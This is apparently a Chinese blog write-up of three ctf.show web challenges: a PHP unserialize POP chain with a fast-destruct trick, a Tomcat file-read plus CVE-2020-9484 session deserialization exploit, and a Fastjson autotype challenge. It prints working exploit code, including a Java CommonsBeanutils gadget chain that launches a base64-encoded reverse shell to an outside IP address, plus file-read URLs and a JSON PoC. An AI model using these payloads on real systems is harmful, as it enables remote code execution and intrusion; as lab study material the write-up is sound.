# ez_unserialize (可变参数,动态函数,fast destruct)

# 源码

<?php
/**
 * @Author: F10wers_13eiCheng
 * @Date:   2022-02-01 11:25:02
 * @Last Modified by:   F10wers_13eiCheng
 * @Last Modified time: 2022-02-07 15:08:18
 */
//include("./HappyYear.php");
class one {
    public $object;
    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                echo 'OK';
            }
        });
    }
    public function __destruct() {
        @$this->object->add();
    }
    public function __toString() {
        return $this->object->string;
    }
}
class second {
    protected $filename;
    protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }
    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}
class third {
    private $string;
    public function __construct($string) {
        $this->string = $string;
    }
    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}
if (isset($_GET["ctfshow"])) {
    $a=unserialize($_GET['ctfshow']);
    throw new Exception("高一新生报道");
} else {
    highlight_file(__FILE__);
}

# 思路

one->destruct()  --  second->call()  -- second->addMe() -- one->toString() -- third->get() -- one->MeMeMe()

# POC

<?php
error_reporting(0);
class one {
    public $object;
//    public function __construct($object){
//        $this->object = $object;
//    }
    public function MeMeMe() {
        //echo '<br>';
        //echo 'mememe';
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                echo 'OK';
            }
        });
    }
    public function __destruct() {
        @$this->object->add();
    }
    public function __toString() {
        //var_dump($this->object);
        //echo 'tostring';
        return $this->object->string;
    }
}
class second {
    public $filename;
//    public function __construct($filename){
//        $this->filename = $filename;
//    }
    protected function addMe() {
        echo '<br>';
        //echo 'asdasd';
        echo '<br>';
        //var_dump($this->filename);
        echo  "Wow you have sovled".$this->filename;
    }
    public function __call($func, $args) {
        echo $func;
        echo '<br>';
        //var_dump($args);
        echo '<br>';
        //var_dump($this);
        call_user_func([$this, $func."Me"], $args);
    }
}
class third {
    private $string;
    private $name;
    public function __construct($string) {
        $this->string = $string;
        $this->name = '';
    }
    public function __get($name) {
        //echo '<br>';
        //echo 'get';
        $var = $this->$name;
        //var_dump($var);
        $var[$name]();
    }
}
$a = new one();
$b = new second();
$c = new second();
$d = new one();
$f = new one();
$f->year_parm=['Happy_func'];
$e = new third(['string'=>[$f,'MeMeMe']]);
$a->object = $b;
$b->filename = $d;
//$c->filename = $d;
$d->object = $e;
$res = serialize($a);
echo $res;
//$tmp = substr()
echo '<br>';
echo '<br>';
echo urlencode(serialize($a));

# 分析

image-20220331193333104

第一个 one()object 是一个 second

image-20220331193513991

这里因为前面调用了add函数,所以这里call函数传进来的参数$func就是add,然后这里先把add与Me拼接,然后因为$this是本身second类,然后就动态调用second的addMe函数

image-20220331193740992

这里把one类与字符串拼接,调用one的toString函数

image-20220331193904250

这里的obj是third类,string是一个数组,因为third是private属性,所以调用third的get函数

image-20220331194103749

因为调用call的时候有$name参数,所以这里的$name参数就是$string

然后调用了one 的MeMeMe函数

image-20220331194540701

最后进入

# fast destruct

上面是在本地,题目里面还会 throw Exception , 所以我们去掉最后一个括号先执行 destruct 即可

image-20220331194752370

# happyTomcat (java 反序列化)

image-20220331195926344

任意文件读取

http://d936b748-6be1-4dad-851d-6bbe86ec0d97.challenge.ctf.show/?path=webapps/ROOT/index.jsp

image-20220331200234428

<%-- Created by IntelliJ IDEA. User: y4tacker Date: 2022/2/4 Time: 8:52 PM To change this template use File | Settings | File Templates. --%> <%@ page import="java.io.File" %> 
<%@ page import="java.nio.file.Files" %> 
<%@ page import="java.nio.file.Paths" %> 
<%@ page import="java.util.Base64" %> 
<%@ page contentType="text/html;charset=UTF-8" language="java" %> 
<% String path = request.getParameter("path");
  String write = request.getParameter("write");
  String content = request.getParameter("content");
  if (path == null && write == null && content ==null){
    out.println("或许可能是?path=index.jsp,但是仔细看报错呢");
  }
  if (path != null){
    File file = new File("/usr/local/tomcat/"+path);
    if (file.getAbsolutePath().startsWith("/usr/local/tomcat") && !path.contains("..")){
      if (file.isDirectory()){
        File[] files = file.listFiles();
        for (File file1 : files){
          out.println(file1.getName());
        }
      }
      else{
        byte[] bytes =Files.readAllBytes(Paths.get(file.getAbsolutePath()));
        out.println(new String(bytes));
      }
    }
    else{
      out.println("Hacker???");
    }
  }

  if (write !=null && content!= null) {
    if(!write.contains("jsp") && !write.contains("xml")) {
      Files.write(Paths.get(write), Base64.getDecoder().decode(content));
    }
    else {
      out.println("Ha???");
    }
  }
%>

读取 tomcat 上下文配置文件

http://d936b748-6be1-4dad-851d-6bbe86ec0d97.challenge.ctf.show/?path=conf/context.xml
<?xml version="1.0" encoding="UTF-8"?>
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at
      http://www.apache.org/licenses/LICENSE-2.0
  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<!-- The contents of this file will be loaded for each web application -->
<Context>
    <!-- Default set of monitored resources. If one of these changes, the    -->
    <!-- web application will be reloaded.                                   -->
    <WatchedResource>WEB-INF/web.xml</WatchedResource>
    <WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
    <Manager className="org.apache.catalina.session.PersistentManager"
             debug="0"
             saveOnRestart="false"
             maxActiveSession="-1"
             minIdleSwap="-1"
             maxIdleSwap="-1"
             maxIdleBackup="-1">
        <Store className="org.apache.catalina.session.FileStore" directory="./session" />
    </Manager>
    <!-- Uncomment this to disable session persistence across Tomcat restarts -->
    <!--
    <Manager pathname="" />
    -->
</Context>

使用了 org.apache.catalina.session.FileStore

image-20220331203841373

读取

http://d936b748-6be1-4dad-851d-6bbe86ec0d97.challenge.ctf.show/?path=webapps/ROOT/WEB-INF/lib

image-20220331203929460

# CVE-2020-9484

要求:

  • tomcat 必须启用 session 持久化功能 FileStore

  • tomcat/lib 或者 WEB-INF/lib 目录下的依赖存在可用的 gadget

  • 在服务器上存在已知路径文件内容可控

漏洞分析
漏洞比较简单就直接提一下,具体的代码可以自己分析。

当开启了 session 持久化功能 FileStore 的时候:
会把 JSESSIONID 的名称作为 SESSION 文件名的一部分进行读取之后反序列化(可以联想 PHP 的 SESSION 反序列化)。

比如 JSESSIONID=../../../../../../../../miku ,那么就会读取 /xxxxxx/../../../../../../../../miku.session 的内容并反序列化。如果目标系统中存在可用的 Gadget,就可以反序列化 rce。(比如 tomcat/lib 或者 WEB-INF/lib)下面。

这里有 cc 与 cb 依赖,写到一个 session 文件,触发反序列化 rce 即可

很简单的 cb 链

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
public class test {
    public static void setValue(String name, Object target, Object value) {
        try {
            Field field = target.getClass().getDeclaredField(name);
            field.setAccessible(true);
            field.set(target, value);
        } catch (Exception ignore) {
        }
    }
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }
    public static byte[] getTemplatesImpl() {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(" + "new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMC4xNjQvMTIzNiAwPiYx}|{base64,-d}|{bash,-i}\"}"  +
                    ");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");
        byte[] code = getTemplatesImpl();
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());
        BeanComparator outputProperties = new BeanComparator("outputProperties");
        TransformingComparator ioTransformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue(ioTransformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(templates);
        setValue(priorityQueue, "comparator", outputProperties);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(priorityQueue);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
        // 反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
        //templates.newTransformer();
    }
}

这是反弹 shell 的

image-20220411194420474

写文件把命令换一下就行了

cat /flag > /usr/local/tomcat/webapps/ROOT/3.txt

image-20220411194739784

# HappyFastjson

给了一个 jar 包,看看源码

# 源码

StringUtils.java

package BOOT-INF.classes.com.ctfshow.happyfjs.Utils;
public class StringUtils {
  public static boolean check(String poc) {
    String[] blackLists = { 
        "\\x", "\\u", "/*", "\\b", "\\n", "\\r", "\\f", "count", "jdbc", "dbcp", 
        "c3p0", "org", "BasicDataSource", "status", "ref" };
    boolean status = true;
    for (String blackList : blackLists) {
      if (poc.toLowerCase().contains(blackList))
        status = false; 
    } 
    return status;
  }
}

FlagBean.java

package BOOT-INF.classes.com.ctfshow.happyfjs.Beans;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.util.HashMap;
import java.util.Map;
public class FlagBean {
  private int count = 0;
  
  private boolean status = false;
  
  public String free;
  
  public String flab;
  
  public String getFree() {
    return this.free;
  }
  
  public void setFree(String free) {
    this.free = free;
  }
  
  public Map getMap() {
    this.count--;
    return null;
  }
  
  public Map getFlag() {
    this.count++;
    if (this.count >= 2) {
      ByteArrayOutputStream byteArrayOutputStream = null;
      try {
        InputStream inputStream = Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", "cat /flag" }).getInputStream();
        int read = 0;
        byteArrayOutputStream = new ByteArrayOutputStream();
        byte[] bytes = new byte[1024];
        while ((read = inputStream.read(bytes)) != -1)
          byteArrayOutputStream.write(bytes, 0, read); 
      } catch (Exception exception) {}
      this.flab = new String(byteArrayOutputStream.toByteArray());
      HashMap<Object, Object> hashMap1 = new HashMap<>();
      hashMap1.put("flag", this.flab);
      return hashMap1;
    } 
    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("flag", "Hacker? hhd");
    return hashMap;
  }
}

HappyCtfshow.java

package BOOT-INF.classes.com.ctfshow.happyfjs;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.ctfshow.happyfjs.Utils.StringUtils;
import javax.servlet.http.HttpServletRequest;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class HappyCtfshow {
  @RequestMapping({"/"})
  @ResponseBody
  public String y4tackerIsHacker(HttpServletRequest request) {
    try {
      ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
      String poc = request.getParameter("poc");
      if (StringUtils.check(poc))
        return JSON.parse(poc).toString(); 
    } catch (Exception e) {
      return "Hacker? ";
    } 
    return "Hacker? ";
  }
}

# 测试

在本地搭一下环境

导入 fastjson1.2.68

fastjsonDemo.java

import com.alibaba.fastjson.JSON;
import javassist.*;
import java.io.IOException;

public class fastjsonDemo {
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {

          String poc="{{\"@type\":\"FlagBean\",\"flag\":{\"@type\":\"java.until.Map\"}}:\"a\"}";
        System.out.println(JSON.parse(poc).toString());

    }
}

FalgBean.java

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.HashMap;
import java.util.Map;
public class FlagBean {
    private int count = 0;
    private boolean status = false;
    public String free;
    public String flab;
    public String getFree() {
        return this.free;
    }
    public void setFree(String free) {
        this.free = free;
    }
    public Map getMap() {
        this.count--;
        return null;
    }
    public Map getFlag() throws IOException {
        this.count++;
        if (this.count ==1)
        {
            System.out.println("OK");
        }
        if (this.count >= 2) {
            Runtime.getRuntime().exec("calc");
            ByteArrayOutputStream byteArrayOutputStream = null;
            try {
                InputStream inputStream = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "cat /flag.txt"}).getInputStream();
                int read = 0;
                byteArrayOutputStream = new ByteArrayOutputStream();
                byte[] bytes = new byte[1024];
                while ((read = inputStream.read(bytes)) != -1)
                    byteArrayOutputStream.write(bytes, 0, read);
            } catch (Exception exception) {
            }
            this.flab = new String(byteArrayOutputStream.toByteArray());
            HashMap<Object, Object> hashMap1 = new HashMap<>();
            hashMap1.put("flag", this.flab);
            return hashMap1;
        }
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("flag", "Hacker? hhd");
        return hashMap;
    }
}

image-20220406161126010

# POC 分析

看一下调用栈

image-20220406162402192

image-20220406162850793

继续 parse

image-20220406162937659

这里调用了 DefaultJSONParser.parse ,跟进

image-20220406163019564

跟进

image-20220406163046380

由于前面 DefaultJSONParser 里面用 JSONScanner 将 token 设置为 12,这里就直接跳到 12 了,跟进

image-20220406163602875

在 parseObject 中,如果 key 值是 @type, 那 ,调用了 toString 方法,跟进

image-20220406163703517

跟进

image-20220406163815322

此时 this 是前面的键值对,调用 write 函数

image-20220406163903085

这里就加载了 JSONObject 类,然后去 write

image-20220406165312965

在这里加载 FlagBean

最后执行

image-20220406171244534

请我喝[茶]~( ̄▽ ̄)~*

miku233 微信支付

微信支付

miku233 支付宝

支付宝

miku233 贝宝

贝宝